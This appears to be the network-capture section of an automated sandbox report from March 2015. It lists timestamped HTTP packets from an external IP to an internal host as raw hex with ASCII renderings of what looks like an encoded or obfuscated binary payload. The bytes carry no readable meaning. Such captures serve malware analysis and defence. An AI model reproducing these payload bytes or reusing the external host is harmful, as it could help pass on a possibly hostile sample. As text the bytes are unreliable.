Mrz 4, 2015 14:54:11.905025005 MEZ80103262.76.176.203192.168.1.10Data Raw: 57 57 11 4c 49 1f 53 57 57 57 48 53 17 32 48 31 15 3e 14 28 4f 57 57 4c 0c 3e 01 31 0d 2e 14 28 4f 57 57 0f 30 3b 11 22 2f 2d 57 0e 57 57 11 48 20 31 11 4d 2f 2d 57 0e 57 57 11 48 4a 40 11 4f 2e 13 53 57 57 57 35 1e 3d 32 01 12 30 29 11 4c 48 0b
Data Ascii: WWLISWWWHS2H1>(OWWL>1.(OWW0;"/-WWWH 1M/-WWWHJ@O.SWWW5=20)LHWWW9H=:"0,4,9:!61>16(WWA(I 94;;2*;4",SWWS4.9:.1>H1.90;./@H/=I 9932.;4*4",SWW@:.(OWWL>(WWL.90;. 1L-WWW:-9999;2
139
Mrz 4, 2015 14:54:11.905031919 MEZ80103262.76.176.203192.168.1.10Data Raw: 4f 57 57 4c 14 31 3a 35 1b 39 1e 3b 1b 3e 31 33 3d 40 3d 39 39 1f 11 1a 4b 31 57 0e 57 57 11 22 4b 3d 57 0e 57 57 11 1a 20 39 57 0e 57 57 57 41 3b 3c 4f 39 11 34 12 1e 2c 53 57 57 40 4d 12 2e 3c 57 57 57 53 32 10 1a 02 53 57 57 40 28 1f 4f 39 39
Data Ascii: OWWL1:59;>13=@=99K1WWW"K=WWW 9WWWWA;<O94,SWW@M.<WWWS2SWW@(O9999:999)9999;6.4,WWWS4;:9999:ALI<0/ /M.)WWWW,H):99999;2.;)1">OWWL6(OWWS?<99">M616?4SWWA374,;4.;:999;2<;+2.;)=LK-W
141
Mrz 4, 2015 14:54:11.905155897 MEZ80103262.76.176.203192.168.1.10Data Raw: 2c 0b 31 29 39 39 39 39 39 39 39 35 1d 3d 32 31 1f 39 39 39 39 39 39 39 39 39 11 2d 29 13 2f 31 0d 3d 32 31 0f 39 39 39 3c 30 10 3b 2b 29 39 39 39 39 39 39 39 39 39 31 14 3d 32 3e 2b 34 10 3b 2b 29 39 39 39 39 00 4c 29 13 14 39 39 39 39 39 3d 12
Data Ascii: ,1)99999995=21999999999-)/1=21999<0;+)9999999991=2>+4;+)9999L)99999=*/2*;*)L)99995=24)9999:9999-),1=24)999<0;+99999)9991=2=4;+9999L)999919999;2*;*=L)99995=23)999;!9999-))1=23)999;2*;)@L)9999;-99999!)
142
Mrz 4, 2015 14:54:11.908646107 MEZ80103262.76.176.203192.168.1.10Data Raw: 2c 48 31 29 39 39 11 4d 29 13 4f 3b 3d 39 39 3f 21 0a 10 3b 2c 01 31 29 39 39 22 17 15 3d 32 28 31 10 39 39 3b 3a 4c 1f 39 39 39 39 3b 32 14 3b 2b 31 39 39 39 39 11 49 29 13 2e 3c 16 2a 3c 4c 4a 2a 39 29 39 39 12 21 29 13 01 39 39 39 39 31 13 3d
Data Ascii: ,H1)99M)O;=99?!;,1)99"=2(199;:L9999;2;+19999I).<*<LJ*9)99!)99991=27WW!)99991J52?):99;4;,H1)99")A;=991=21529+4*;)H-);7"WWWH)/1=21)999;6;+9999L99991-2(99;:@9999;2;+9999M)O;=999;"=2799;!-2
144
Mrz 4, 2015 14:54:11.908653021 MEZ80103262.76.176.203192.168.1.10Data Raw: 3b 34 2c 1b 0f 0a 2a 22 11 32 2a 22 3b 34 2a 22 1f 3e 39 39 39 39 39 31 0d 2e 2e 28 57 57 57 0f 30 2a 11 2d 2f 21 11 2d 4b 35 4e 29 3c 57 57 57 53 36 2a 1c 3f 32 4c 21 13 3a 17 2c 39 2c 39 3b 3c 57 48 31 28 0b 3a 31 49 36 09 21 16 11 11 2d 17 3d
Data Ascii: ;4,*"2*";4*">999991..(WWW0*-/!-K5N)<WWWS6*?2L!:,9,9;<WH1(:1I6!-=)3O:191(W)S1"L991>1>?!!" /??4.<WWWS2=W)S=!.5WWWW+H9999 A 64@9999999.!S-H L:99991>S12,4,:!6:>1?0*4(1L>W19M)!:
145
Mrz 4, 2015 14:54:11.908664942 MEZ80103262.76.176.203192.168.1.10Data Raw: 29 39 31 28 40 14 3c 3a 29 39 31 28 40 14 3b 3a 29 39 31 28 40 14 3a 3a 29 39 31 28 40 14 39 3a 29 39 31 28 40 14 57 3a 35 39 31 28 40 14 53 3a 35 39 31 28 40 14 41 3a 35 39 31 28 40 14 40 3a 35 39 31 28 40 14 4f 3a 35 39 31 28 40 14 4a 3a 35 39
Data Ascii: )91(@<:)91(@;:)91(@::)91(@9:)91(@W:591(@S:591(@A:591(@@:591(@O:591(@J:591(@K:591(@L:591(@M:591(@,:991(@-:991(@.:991(@/:991(@ :991(@!:991(@":991(@:991(@:991(@:991(@:991(@:991(@:991(@:991(@:991(@:991(@:991
146
Mrz 4, 2015 14:54:11.915570021 MEZ80103262.76.176.203192.168.1.10Data Raw: 31 39 31 28 40 14 34 3a 31 39 31 28 40 14 35 3a 31 39 31 28 40 14 28 3a 39 39 31 28 40 14 37 3a 31 39 31 28 40 14 28 3a 31 39 31 28 40 14 29 3a 31 39 31 28 40 14 2a 3a 31 39 31 28 40 14 2b 3a 31 39 31 28 40 14 2c 3a 31 39 31 28 40 14 2d 3a 31 39
Data Ascii: 191(@4:191(@5:191(@(:991(@7:191(@(:191(@):191(@*:191(@+:191(@,:191(@-:191(@.:191(@/:191(@ :191(@!:191(@":191(@:191(@:191(@:191(@:191(@:191(@:191(@:191(@:191(@:191(@:191(@:191(@:191(@:191(@:191(@:191
148
Mrz 4, 2015 14:54:11.915577888 MEZ80103262.76.176.203192.168.1.10Data Raw: 10 30 3a 2b 39 39 0d 3a 10 30 3a 2b 3a 48 3c 21 0b 29 37 41 3e 48 3b 4c 0e 3b 1f 02 1f 39 1c 1e 35 4d 3b 30 2d 3d 11 0f 15 32 3b 35 37 10 3f 3d 1b 3e 31 31 13 3a 11 29 48 21 2a 0f 2d 1f 0f 4c 0c 3a 28 39 28 3a 0f 4c 0e 57 2e 17 0e 0f 2e 0d 11 2b
Data Ascii: 0:+99:0:+:H<!)7A>H;L;95M;0-=2;57?=>11:)H!*-L:(9(:LW..+WWWW9;H;0)63W?3=-1>9M::IA.O;:9;4)9<5@9O+)(5<<H):1J99999151=91=29+69999;<;:9;4*;)=!99999)9H):1J99999151=91=29+69999;<;:9;4*;)=!99999)9
149
Mrz 4, 2015 14:54:11.915581942 MEZ80103262.76.176.203192.168.1.10Data Raw: 11 34 2f 39 0f 3c 41 4c 0b 37 39 41 41 2c 11 2d 48 31 4e 30 16 4f 57 57 53 34 2c 1e 01 34 2b 29 2b 34 2b 2a 12 3a 4c 39 31 3c 02 4c 0e 4f 4e 0f 1d 33 3d 2d 11 31 3e 48 1c 3a 10 1b 3a 49 41 1e 41 49 3b 28 40 2e 36 3a 39 39 31 31 35 15 39 31 0c 36
Data Ascii: 4/9<AL79AA,-H1N0OWWS4,4+)+4+*:L91<LON3=-1>H::IAAI;(@.6:99115916W<(J*WOWWLIS>AH L ;:9<W2-9)9;<W2,))9;<W2,)9;<W2,)+9;<5555..,.I<O<4*)0*999999">99"6>99999<0*)99999H 999995">L?*0- H !99999
150
Mrz 4, 2015 14:54:11.943533897 MEZ80103262.76.176.203192.168.1.10Data Raw: 11 2d 4b 13 4e 2a 2c 57 57 57 53 34 2a 1c 12 30 2a 1c 29 39 39 39 39 39 1f 40 29 40 20 14 41 1a 20 1b 36 2e 11 1d 2f 3c 4f 3a 3b 32 4e 3f 1a 30 2a 1e 21 39 30 31 14 3e 40 31 0c 3e 40 31 0b 39 1f 40 29 29 20 1b 28 35 02 35 02 35 02 3e 2f 32 4d 2e
Data Ascii: -KN*,WWWS4*0*)99999@)@ A 6./<O:;2N?0*!901>@1>@19@)) (555>/2M.<O<;4*)0*9:999HK">J5>H -=-991.M5>N99999;2*<0*)99999H L999991>H19(1IH90? H )7-@. 5?6*4,5>@99999:I - L"03. NIS6*+6,
151
Mrz 4, 2015 14:54:11.943546057 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 31 11 3e 41 57 4f 57 57 4c 0d 3e 28 28 57 57 57 40 1c 3e 13 39 39 39 39 39 3c 30 2a 21 0f 39 39 39 39 39 11 21 20 0f 57 0e 57 57 11 48 2f 29 00 48 20 13 39 39 39 39 39 31 15 3e 4f 28 4f 57 57 4c 0c 3e 4d 31 15 3e 4e 28 4f 57 57 4c
Data Ascii: 999991>AWOWWL>((WWW@>99999<0*!99999! WWWH/)H 999991>O(OWWL>M1>N(OWWL>!(WWW-99999!.WWWWL.WWWW.4WWWW*>N:999;2,SWWS4*0*9 9999! WWWH )L.!WWWW>99991>K(OWWL>/(WWW@>L:-999;2SWWS4*<0*<9999! -WWWH -J!LH
153
Mrz 4, 2015 14:54:11.943713903 MEZ80103262.76.176.203192.168.1.10Data Raw: 12 2a 2c 57 57 57 53 32 12 2f 02 57 57 57 57 0a 22 3f 19 34 2a 19 2a 15 32 2d 21 15 22 17 14 3e 08 31 0c 36 15 31 0c 32 1a 39 53 4a 14 2e 28 57 57 57 53 34 0c 2a 12 57 57 57 40 28 0a 41 1a 30 2a 1a 1f 39 39 39 39 39 11 4f 48 1b 57 57 57 57 33 1c
Data Ascii: *,WWWS2/WWWW"?4**2-!">16129SJ.(WWWS4*WWW@(A0*99999OHWWWW34.WWWS2.WWWS4,<LI/!-LLHWWWW!I9WWWWNS4*!2*!4+,WWWS2*!;6*4,I//"0<I.//;?2,4*!999991>499999I,WWWW-WWWW96>H//3,1.(WWW@*!
153
Mrz 4, 2015 14:54:11.959609032 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 2a 15 11 48 2f 2f 22 1f 49 39 35 3f 19 32 2a 22 19 34 3c 22 39 21 3a 2b 3b 34 2e 21 01 3a 0f 1f 39 39 39 39 3b 34 1c 22 11 32 2e 21 01 32 2c 16 01 36 10 2c 0e 57 57 57 53 4d 39 39 39 39 39 31 16 33 33 4d 2e 1b 57 57 57 57 11 4f 2e 0b 57 57 57
Data Ascii: +*H//"I95?2*"4<"9!:+;4.!:9999;4"2.!2,6,WWWSM99999133M.WWWWO.WWWW3HJL-JLI3WWWW51SL7WWWWL. (WWWL>(OWW?,316:>11.7WWWWL+WWWWL<HA!+WWWW)1-OWWWWK/!.4WWWWL!7499999);4.!-WWWS2.!4-<WWWS1-WWW@
154
Mrz 4, 2015 14:54:11.961270094 MEZ80103262.76.176.203192.168.1.10Data Raw: 2f 01 4c 0c 3d 32 3a 1f 3e 2a 28 1a 4c 4b 1a 13 2f 39 39 39 39 11 29 29 13 11 2d 0f 13 3a 37 11 01 3e 0f 39 39 11 2d 29 13 36 31 3e 40 32 3c 29 39 39 39 39 39 1c 3a 10 15 0d 3e 4c 30 22 11 0c 3d 32 3a 4d 15 11 2d 29 13 30 17 0c 35 32 3c 2b 32 2c
Data Ascii: /L=2:>*(LK/9999))-:7>99-)61>@2<)99999:>L0"=2:M-)052<+2,;)LN0*;)L999991=29>99999?0*;)"?;2*;)5-)052;4.;)5!IH29!52;4*;)L/ @ K<55555555.!-I/=9)99H-1L =WWW9)99916(OWW@>(OWW9999
155
Mrz 4, 2015 14:54:11.961281061 MEZ80103262.76.176.203192.168.1.10Data Raw: 57 57 57 53 34 14 2e 2c 53 57 57 40 0a 2e 1e 3b 33 16 2e 0e 53 57 57 40 09 16 1d 30 53 57 57 53 32 02 17 30 3f 39 29 39 39 39 31 11 1c 4c 1e 4f 57 57 4c 15 49 1d 28 57 57 57 4c 14 2e 40 31 09 1c 11 57 4f 57 57 4c 1f 22 11 21 2e 29 57 0e 57 57 0b
Data Ascii: WWWS4.,SWW@.;3.SWW@0SWWS20?9)9991LOWWLI(WWWL.@1WOWWL"!.)WWW9;M999991.(WWWLI(OWW0L-9WWWW99999;6O;>MOWWL6O1.(WWWL>MOWWSSWWW99999;4/WWWS2,!;4SWW@)WWWS4+-;2,!+4"<SWWS2,!2)WWWS6SWWS4)WWWAM
157
Mrz 4, 2015 14:54:11.961386919 MEZ80103262.76.176.203192.168.1.10Data Raw: 41 02 3f 1a 30 2a 1d 1a 3d 36 1b 1c 3e 01 39 39 39 39 39 3b 32 2e 1c 2b 32 2c 1d 3b 32 2a 1d 01 34 2a 1c 2b 32 2a 1c 01 34 2a 1d 3b 32 2a 1d 11 32 1e 1b 3b 32 1c 1a 01 34 2a 1c 1f 49 39 39 39 39 39 31 14 3e 4a 35 1c 3e 4a 39 39 39 39 39 3b 34 2a
Data Ascii: A?0*=6>99999;2.+2,;2*4*+2*4*;2*2;24*I999991>J5>J99999;4*9O*H!99999">M1HK:=999;2.3?!6K131:99993H !. - 1:4*>999991>1I>M61.90*K !"AM2J!KJ2!IJ167=- H !9999916J1.J1
157
Mrz 4, 2015 14:54:11.962608099 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 2d 39 39 39 39 39 11 2d 20 1b 22 0b 1c 3e 02 09 0f 17 1f 40 29 4c 20 14 41 1c 0f 40 02 35 2e 21 16 14 2d 49 1c 2f 1f 53 00 13 11 48 2d 31 00 48 20 0b 39 39 39 39 39 35 1c 3e 02 39 3c 0f 57 57 53 34 2c 1b 00 15 00 48 20 1d 20 2d 34 30 2a 1b 29
Data Ascii: <-99999- ">@)L A@5.!-I/SH-1H 999995>9<WWS4,H -40*)99999H 9:9991.M5>>:>99;4,0*99999">2">@:7H 1999995>99999<?*:H !99999?0*40*OJI@>=I99;4;2*;2;2,"2."2"+1 "6999-K=I 9
159
Mrz 4, 2015 14:54:11.962616920 MEZ80103262.76.176.203192.168.1.10Data Raw: 4c 2d 0b 57 57 57 57 39 39 39 39 39 31 15 3e 3d 28 57 57 57 4c 0d 3e 34 28 57 57 57 4c 15 3e 3c 28 57 57 57 4c 0c 3e 0a 3b 2d 39 39 39 39 39 11 2d 2f 0b 11 48 2f 0b 22 0b 1c 3e 14 15 0c 41 00 13 2f 0a 39 31 08 49 09 40 1c 3e 08 39 39 39 39 39 3b
Data Ascii: L-WWWW999991>=(WWWL>4(WWWL><(WWWL>;-99999-/H/">A/91I@>99999;2)WWWS4*,?*!M/-+@>(WWW9999<?*"-9!-=WWWW/.-WWWW913WWWW@>!WWW?1)(WWWS3/0WWWW0,,WWW@99999!K@WWWLHHWWWWL.1WWWW999995">NW?-WWWWWH/59999
160
Mrz 4, 2015 14:54:11.962620974 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 02 57 57 57 40 3a 02 17 14 49 0e 31 0d 36 35 28 57 57 57 4c 0c 49 0e 3f 19 32 10 2f 4f 57 57 57 53 34 28 1f 30 28 11 2c 4d 15 00 48 2f 2f 4a 39 1d 0f 39 31 0c 36 01 31 30 3a 39 1f 39 39 39 31 14 36 01 3b 08 3e 40 4c 10 3e 40 4c 08 3e 14 39 2a
Data Ascii: WWW@:I165(WWWLI?2/OWWWS4(0(,MH//J991610:999916;>@L>@L>9*L= N SWWS6 WWWS6/4WWWS4.+4-+4/,WWW@II"(WWWL.1I96/:1.1NJ4/OWWWA1AIWWWW54*">99999;<O>K-/NAWWS6*!LHLWWWW";"0*"67(WWWJ0
162
Mrz 4, 2015 14:54:11.962898970 MEZ80103262.76.176.203192.168.1.10Data Raw: 4c 11 2e 02 57 4b 57 57 4c 09 2e 02 57 4b 57 57 4c 12 3f 3b 28 33 31 14 1b 57 41 57 57 53 32 0c 1a 3c 41 57 57 57 08 12 57 4f 57 57 4f 3c 09 00 4c 20 1b 57 1e 57 57 39 39 39 39 39 3f 1a 30 10 1c 3c 41 57 57 57 4a 2c 11 09 3e 0f 57 4b 57 57 4a 19
Data Ascii: L.WKWWL.WKWWL?;(31WAWWS2<AWWWWOWWO<L WWW99999?0<AWWWJ,>WKWWJ4<AWWA(J2<AWWS1(AWWA56?!JNWWW4AWW@(AWWS3WAWWS1J!<AWW@1K2<AWWS1WAWWS1(AWWS2@10=9199>M/IK<55555555>/2M.6 .((1>
163
Mrz 4, 2015 14:54:11.962908983 MEZ80103262.76.176.203192.168.1.10Data Raw: 3f 19 34 1e 1e 3a 15 1f 1d 1d 2c 32 4a 19 32 1e 1e 39 3c 2e 10 01 32 2e 1c 11 34 2e 1b 2b 34 1c 1c 11 34 3e 32 19 32 2e 1c 01 34 2e 1a 29 3c 2e 1c 00 15 11 4b 4b 0f 22 17 16 34 22 11 30 1e 22 17 14 41 40 31 14 2e 4c 31 0c 36 4c 31 14 36 09 3f 21
Data Ascii: ?4:,2J29<.2.4.+44>22.4.)<.KK"4"0"A@1.L16L16?!*!"-/?99999:HJ?"02..-J?I/3H/H/5999991>1)+)9999 A (5.!-I/9999H-5HH1L.9WWWW999991.)(WWW@>+(WWW9999<0-WWW@99999O.5WWWWL.WWWW
165
Mrz 4, 2015 14:54:11.962912083 MEZ80103262.76.176.203192.168.1.10Data Raw: 19 11 34 3d 17 0d 49 30 28 57 57 57 01 30 01 11 1d 1d 32 2e 0f 2b 32 3c 57 57 29 1f 53 0f 31 11 2d 2f 1f 11 14 4b 28 22 17 0c 3e 4c 15 21 36 4b 2c 36 15 11 21 2e 29 57 57 57 57 1f 28 37 36 11 3e 4b 28 11 4c 49 40 57 57 57 57 11 21 49 40 57 57 57
Data Ascii: 4=I0(WWW02.+2<WW)S1-/K(">L!6K,6!.)WWWW(76>K(LI@WWWW!I@WWWWNI6*6-WWWS4.+44 WWW@LA+(WWW5/./LHKI 1K/L!;99992+2>L><(WWWWW*S1LIWWWWM-5WWWW5?2,2*:999HJI/">!WWWL3">!WWWL61.
165
Mrz 4, 2015 14:54:11.968657017 MEZ80103262.76.176.203192.168.1.10Data Raw: 1f 40 17 10 2e 0c 4c 08 2e 40 4c 12 3f 3b 28 33 31 2e 1e 37 34 2a 22 10 15 11 4c 49 11 57 57 57 57 11 4d 2e 31 57 57 57 57 1f 1d 31 39 39 39 39 39 11 2e 2f 39 22 17 30 10 19 16 3a 15 11 21 49 11 57 57 57 57 1f 1b 2c 0f 39 39 39 39 20 14 41 1a 20
Data Ascii: @.L.@L?;(31.74*"LIWWWWM.1WWWW199999./9"0:!IWWWW,9999 A (5555..,.I<O0+4*)4,)0*@;)I !H/@9)9991I5>L99999<0*919999H/999991A5>99999<0*,WWWWWIJHH 1WWWWWL>1>5>99999;2*"4*0*99999-/!H
167
Mrz 4, 2015 14:54:11.968679905 MEZ80103262.76.176.203192.168.1.10Data Raw: 4c 00 13 29 13 1d 0f 3b 34 10 3b 29 31 39 29 39 39 11 1d 3f 32 39 1d 12 17 48 28 57 57 11 2d 29 13 21 3f 19 34 2e 3b 2a 3f 12 2d 0f 13 19 3f 19 32 02 15 21 10 40 15 19 32 2e 3b 2a 3f 11 48 0f 13 21 39 53 4b 2b 2a 2b 36 1e 39 1f 21 11 20 0f 13 2b
Data Ascii: L);4;)19)99?29H(WW-)!?4.;*?-?2!@2.;*?H!9SK+*+69! +1=;;;2;)@9)99LL99991@2>+4 ;)9S4;+-9999K)1;2.22*,0:9999<WH!(=152?:)9999;2,;*!)9999?4*;*"/6?2*;*9999999999(> WWWS6;+99
168
Mrz 4, 2015 14:54:11.968683958 MEZ80103262.76.176.203192.168.1.10Data Raw: 15 11 4c 48 4e 57 57 57 57 22 17 30 10 2e 11 32 15 11 21 48 4e 57 57 57 57 11 4d 2d 2d 57 57 57 57 37 1c 39 28 1f 4a 39 3a 39 39 3b 34 2a 1b 2c 3f 10 20 1e 57 57 57 40 1e 11 48 39 31 11 2d 2f 4c 11 48 20 3d 3c 4f 1c 39 39 0b 19 3e 1c 57 57 57 57
Data Ascii: LHNWWWW"0.2!HNWWWWM--WWWW79(J9:99;4*,? WWW@H91-/LH =<O99>WWWWI/2*"+4*>;)9991>1>?(WWWL>O1>O165">+M9S<999499999HK! WWWH60(WWWWL WWW3L.=WWWWO-WWWW94.;30<31 74.430:2-,WWW@(73 6K
170
Mrz 4, 2015 14:54:11.968811989 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 2e 21 16 14 1f 53 0f 1f 40 0f 40 29 2a 29 12 02 3c 00 3e 3e 53 35 1c 3e 40 39 39 39 39 39 3c 02 3c 00 3a 3e 53 31 16 1f 40 0f 41 19 0f 28 31 28 3d 29 3c 17 40 1a 0a 57 57 41 14 1c 4f
Data Ascii: <5555555555.!S@@)*)<>>S5>@99999<<:>S1@A(1(=)<@WWAO(5(== @@**"*<;:=999;>999>=>99:):)9955!9999999999999999999999999999999999999999999999999999999;!)99-994>99<?)99L5-99(,>999999<5!99:O?999999
170
Mrz 4, 2015 14:54:11.969609976 MEZ80103262.76.176.203192.168.1.10Data Raw: 1d 02 53 20 29 4c 3f 14 35 0c 35 4d 1c 48 53 02 28 12 34 32 35 0f 31 15 3a 0b 35 09 3a 4a 1a 12 35 0c 0b 4d 0a 1a 17 2a 0a 13 3d 4b 2b 2d 1f 13 36 2d 19 41 3e 30 1d 1d 4b 13 4a 4d 39 2c 13 3a 4f 49 01 4d 35 2f 2f 10 36 12 20 1e 35 19 3d 0c 2c 10
Data Ascii: S )L?55MHS(4251:5:J5M*=K+-6-A>0KJM9,:OIM5//6 5=,,=)).13?3+,:0)*JS?="H,6226AHOWLA! -M5: 5.11!?=HIW!7,HM6! S)HJLW -(!M9!<--:;!!>6-JS
172
Mrz 4, 2015 14:54:11.969630003 MEZ80103262.76.176.203192.168.1.10Data Raw: 16 4b 2d 4e 19 0f 10 16 3b 2d 3d 30 36 28 0b 15 3c 31 21 4a 4c 1b 3c 30 13 0b 4d 1f 2e 4f 0a 0d 3e 1d 49 15 1b 37 13 37 32 39 19 28 1c 13 3f 2e 2d 37 16 0b 4e 1f 1d 32 10 53 1a 49 0f 1f 16 48 14 0f 2d 1e 3a 1a 0d 0c 28 3d 2c 41 39 4c 21 4a 10 1a
Data Ascii: K-N;-=06(<1!JL<0M.O>I7729(?.-7N2SIH-:(=,A9L!J/?J.O;05"/)J6+-3(I;I!I5-"5I=)9+;.*91S@22.0:"4LL(5S.A9.@SNS.:K=9WI)/42NJ4;2WI?) 69:20)?9:6-
173
Mrz 4, 2015 14:54:11.969723940 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 57 2f 34 30 19 3f 2c 2d 13 2d 08 4c 41 3f 15 1e 4f 3b 49 0d 02 2a 48 12 3c 0d 4b 1c 16 3f 0f 34 0f 1b 4f 48 1f 13 16 4c 29 16 3a 31 2f 49 33 02 11 2f 32 02 4d 33 2e 32 2d 35 1e 2c 01 34 32 4f 16 34 49 32 2e 35 1a 34 01 33 33 3c 16 3c 00 32 0f
Data Ascii: W/40?,--LA?O;I*H<K?4OHL):1/I3/2M3.2-5,42O4I2.5433<<23JN21@+O3""<(241.2)2("@;,1K/?O3I"M7:(3I (3IJ= ( H;;= 4, -;*7M/L!.5>7(3"!S7*>+/?W 1O"+70M;-, *S"
174
Mrz 4, 2015 14:54:11.971815109 MEZ80103262.76.176.203192.168.1.10Data Raw: 1c 1b 41 11 10 53 57 15 10 48 1b 0b 00 29 00 49 49 12 36 1d 29 4f 1e 08 2d 3f 3b 21 4b 3f 4e 2c 3e 1c 2a 34 0e 0e 49 3e 37 33 22 3c 40 12 19 2a 0d 3a 22 00 41 41 0e 48 1e 32 0e 36 0c 1a 39 4b 15 2f 53 30 0d 01 2f 0f 4a 28 2c 4c 2f 4c 4f 0f 1a 40
Data Ascii: ASWH)II6)O-?;!K?N,>*4I>73"<@*:"AAH269K/S0/J(,L/LO@)7L":*=5L0!0"<)=7:S*K)*I2W)6A/J)*;>3,5A":/>2?*K9*1-?4,(7*K1!+"6>!(>K*"2,>4,(K63,3;>KI/S+2*AK!*(-@?:2 1(JK!):65WH/
176
Mrz 4, 2015 14:54:11.971834898 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 555555555555555555555555555555555555555555555555555555555555555555555555555555.!!=;)99999999999999AA=/:K>"7>3"<I?..@:9"./. 9>
176
Mrz 4, 2015 14:54:11.972022057 MEZ80103262.76.176.203192.168.1.10Data Raw: 4c 41 19 19 1b 19 0b 13 48 15 37 33 0f 00 09 41 0e 3c 41 3e 4a 3f 1e 2b 3d 0f 4e 1b 10 1c 11 1c 4f 12 4d 57 3e 4c 3b 3b 2c 4c 16 53 1f 34 3f 2b 2c 2b 32 40 53 1a 10 14 2a 2c 0c 00 33 35 4e 14 32 49 11 09 11 3e 0e 33 08 4c 4e 11 3a 41 12 37 36 0e
Data Ascii: LAH73A<A>J?+=NOMW>L;;,LS4?+,+2@S*,35N2I>3LN:A76<52,<A=HO5+(O;=<.;S1IW!+23,O5-5A. 5>+-6A 5+!"K AM*6.SA-*W1>I6);<92I57:H3S L0H>,*J9IWI9@-
177
Mrz 4, 2015 14:54:11.972032070 MEZ80103262.76.176.203192.168.1.10Data Raw: 49 4a 53 2b 2d 02 1a 1d 20 2c 08 3e 0c 33 12 48 0d 0c 19 0d 02 4b 4b 1f 4f 36 0b 11 4d 4b 00 09 17 4f 08 3e 0b 37 4f 16 1d 0c 0d 0d 02 4a 3a 01 2f 3f 29 15 48 00 4e 0e 1f 41 11 17 00 36 0b 1d 22 4d 2b 16 21 41 10 0a 4f 19 53 2b 21 1f 13 19 16 48
Data Ascii: IJS+- ,>3HKKO6MKO>7OJ:/?)HNA6"M+!AOS+!H,N/S+"+J/?@?HJ?JMO46"M+!A*S!@++?K6/0H?K"<6M+N!ASO6H?(=+;-J/=1H7L>3/0K<1A2O6W"+HJ2W9?H7J*03=<M+5!I =
179
Mrz 4, 2015 14:54:11.972035885 MEZ80103262.76.176.203192.168.1.10Data Raw: 12 49 4b 3a 3a 57 0c 1a 2c 2a 39 3b 02 4a 3b 16 11 49 2d 34 37 4d 2b 33 15 22 32 2c 0f 36 0b 09 16 12 2f 2d 29 17 3b 1c 41 57 13 35 2a 30 3d 19 1b 20 3e 20 00 4f 1d 2b 22 0f 4e 30 09 41 10 57 4d 49 2d 41 0a 4d 2b 13 2b 2d 3f 4e 2f 30 48 20 2c 2c
Data Ascii: IK::W,*9;J;I-47M+3"2,6/-);AW5*0= > O+"N0AWMI-AM++-?N/0H ,,3 W5+!3-K/)<3:* JM>2AN;!I-M6<?93AIJ>;>-!M?IS2-/0*0M5*LI/>W5=I<+J+O5O(II W!799/?SK4=0O>.M3!6L 9//
180
Mrz 4, 2015 14:54:11.980552912 MEZ80103262.76.176.203192.168.1.10Data Raw: 2c 37 21 19 2c 4c 49 0c 4a 36 0e 08 48 01 2f 4b 34 4b 14 1d 3f 30 0f 3b 1b 3a 0f 33 2d 2d 2c 0a 01 30 35 11 1c 3e 2c 0a 4f 4f 3a 3c 33 3f 4a 40 13 4d 57 32 1f 1d 10 0b 49 40 0d 00 02 0f 2b 4d 40 13 22 19 4e 30 19 2b 0d 20 1e 02 35 02 35 02 35 02
Data Ascii: ,7!,LIJ6H/K4K?0;:3--,05>,OO:<3?J@MW2I@+M@"N0+ 555555555555555555555555555555555555555555555555555555555555555555555555555555555555
181
Mrz 4, 2015 14:54:11.983697891 MEZ80103262.76.176.203192.168.1.10Data Raw: 28 01 41 41 08 49 13 0b 35 14 17 0c 41 0e 3c 11 14 20 14 08 35 2e 57 2c 39 1d 20 1d 34 4f 53 00 1b 21 4e 13 53 21 2c 4b 13 1a 1c 32 36 49 01 14 41 49 1c 0e 13 48 3f 49 17 3d 02 1d 32 21 22 0c 41 0e 1a 37 0f 2d 2a 00 2a 4f 0e 11 2d 4e 3d 15 4d 3d
Data Ascii: (AAI5A< 5.W,9 4OS!NS!,K26IAIH?I=2!"A7-**O-N=M=-6,42I"-H(=5-.2= "=M -IA65@L96.0?=HI1S!.A,-5! 9*5K-N1K*5(/62A+.@/>< J6M0L=O(-+<I
182
Mrz 4, 2015 14:54:11.983814955 MEZ80103262.76.176.203192.168.1.10Data Raw: 2c 16 33 3c 2e 00 34 21 00 13 20 33 3a 2e 3a 0f 4f 2d 2f 1f 1c 08 4d 36 32 1b 28 0a 10 4c 16 37 4e 19 29 34 2f 13 31 1d 11 3d 20 09 36 22 29 10 01 0a 14 12 41 0a 2e 3f 16 1c 28 1d 11 34 2e 3a 1a 08 2f 08 33 0b 2e 40 16 17 12 29 3a 21 2c 13 57 4e
Data Ascii: ,3<.4! 3:.:O-/M62(L7N)4/1= 6")A.?(4.:/3.@):!,WN >7@W.A!60A!+A>HHOS >SL0>:A"+7*>N62)1N /"5!6"O>L"M>3;)"M 3I=HI/<KO17+"KSO""J@J*6.I6" 7*9IM6L *.1
183
Mrz 4, 2015 14:54:12.015347958 MEZ80103262.76.176.203192.168.1.10Data Raw: 3e 1d 13 4a 1e 3f 08 31 1c 32 1e 10 34 0b 2e 37 00 11 31 53 02 34 19 4f 3e 11 36 14 14 21 31 20 15 0c 2c 31 36 17 2d 15 0d 1c 21 1e 1c 32 12 0c 21 0d 53 1e 14 4b 19 2a 1f 11 4b 13 14 37 48 0d 14 41 4c 41 0d 2c 0c 2d 14 0f 4d 3f 17 41 4c 2c 37 3e
Data Ascii: >J?124.71S4O>6!1 ,16-!2!SK*K7HALA,-M?AL,7>5/I"O<7>>(,>6!@-6!/3<H=*L>(9?9 .-L9< *>6!*@JHH375=NJ-?3O:"75!2.>) .=3=,<?I@ 10<(=K-=W64?.=4/
184
